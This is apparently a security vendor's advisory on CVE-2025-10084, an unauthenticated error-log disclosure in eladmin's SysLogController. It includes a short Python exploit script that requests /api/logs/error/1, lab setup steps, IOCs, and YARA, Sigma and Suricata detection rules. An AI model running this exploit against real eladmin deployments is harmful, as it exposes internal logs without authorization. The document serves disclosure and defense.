CVE-2025-10084

Executive Summary

CVE-2025-10084 is an improper authorization vulnerability (CWE-285) identified in the elunez/eladmin project up to version 2.7. The flaw resides in the SysLogController component, specifically within the queryErrorLogDetail function accessible via the /api/logs/error/1 endpoint. An unauthenticated remote attacker can exploit this to access error log details without proper authorization, leading to information disclosure. The CVSS v3.1 base score is 4.3 (Medium), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the exploit is publicly available. No official patch has been released as of this report.

Supply Chain & Package Security

This vulnerability affects the Java-based eladmin project, which is distributed via GitHub and Maven Central. Organizations using this framework should verify their dependency versions and ensure no unauthorized access to error logs is possible. The lack of a patch increases supply chain risk for downstream consumers.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited information disclosure (error logs).
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is 4.3, the public availability of exploit code and the lack of a patch elevate the risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability is a classic improper authorization (CWE-285) in the SysLogController class. The queryErrorLogDetail method is mapped to the /api/logs/error/{id} endpoint and is intended to retrieve detailed error logs. However, the controller fails to enforce any authentication or authorization checks before processing the request. This allows any unauthenticated attacker to send a GET request to this endpoint and retrieve sensitive error log data, which may include stack traces, database queries, or other internal information.

The root cause is the absence of a security annotation (e.g., @PreAuthorize) or manual permission check in the controller method. The eladmin framework typically uses Spring Security, but this endpoint was likely overlooked during development.

Vulnerable vs. Patched Code

Vulnerable Code (eladmin <= 2.7):

// SysLogController.java
@GetMapping("/error/{id}")
public ResponseEntity<Object> queryErrorLogDetail(@PathVariable Long id) {
    // No authorization check
    return ResponseEntity.ok(logService.queryErrorLogDetail(id));
}

Patched Code (Hypothetical):

// SysLogController.java
@GetMapping("/error/{id}")
@PreAuthorize("@el.check('log:error:detail')")
public ResponseEntity<Object> queryErrorLogDetail(@PathVariable Long id) {
    return ResponseEntity.ok(logService.queryErrorLogDetail(id));
}

The patched version adds a @PreAuthorize annotation to enforce that only users with the log:error:detail permission can access the endpoint. Since no official patch exists, this is a recommended fix.

Exploitation & Lab Setup

Red Team

Exploit Description: The exploit is a simple HTTP GET request to the vulnerable endpoint. No authentication is required.

Exploit Code (Python):

import requests

target = "http://target.com/api/logs/error/1"
response = requests.get(target)
if response.status_code == 200:
    print("Exploit successful. Error log details:")
    print(response.text)
else:
    print(f"Exploit failed. Status code: {response.status_code}")

Lab Setup:

1. Deploy a vulnerable instance of eladmin version 2.7 (e.g., using Docker).
2. Ensure the application is accessible on a network.
3. Run the exploit script against the target.

Expected Output: The script will return the error log details in JSON format, containing sensitive information.

Blue Team

Detection: Monitor for GET requests to /api/logs/error/* from unauthenticated sources. Use the detection rules below.

Mitigation: Immediately apply the hypothetical patch or implement a WAF rule to block access to the endpoint for unauthenticated users.

Indicators of Compromise (IOCs)

• Network: HTTP GET requests to /api/logs/error/{id} where {id} is an integer.
• Logs: Access logs showing requests to /api/logs/error/ without prior authentication.
• Response: JSON responses containing error log details (e.g., stack traces, timestamps, user IDs).

Detection Engineering

YARA Rule

rule CVE_2025_10084_Exploit {
    meta:
        description = "Detects HTTP requests targeting the vulnerable /api/logs/error endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10084"
    strings:
        $endpoint = "/api/logs/error/"
    condition:
        $endpoint
}

Sigma Rule

title: CVE-2025-10084 - Unauthorized Access to Error Logs
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects GET requests to /api/logs/error/ without authentication
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/api/logs/error/'
    condition: selection
falsepositives:
    - Legitimate authenticated users (if any)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10084 - Unauthorized Access to Error Logs"; flow:to_server; content:"GET"; http_method; content:"/api/logs/error/"; http_uri; classtype:attempted-recon; sid:1000084; rev:1;)

Remediation & Mitigation

1. Immediate: Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to /api/logs/error/*.
2. Short-term: Apply the hypothetical patch by adding authorization checks to the queryErrorLogDetail method.
3. Long-term: Conduct a security audit of all controller endpoints to ensure proper authorization is enforced.
4. Monitoring: Enable logging and alerting for unauthorized access attempts to sensitive endpoints.
5. Update: Monitor the official eladmin repository for a security patch and apply it as soon as available.

Valters IT
Securing Digital Frontiers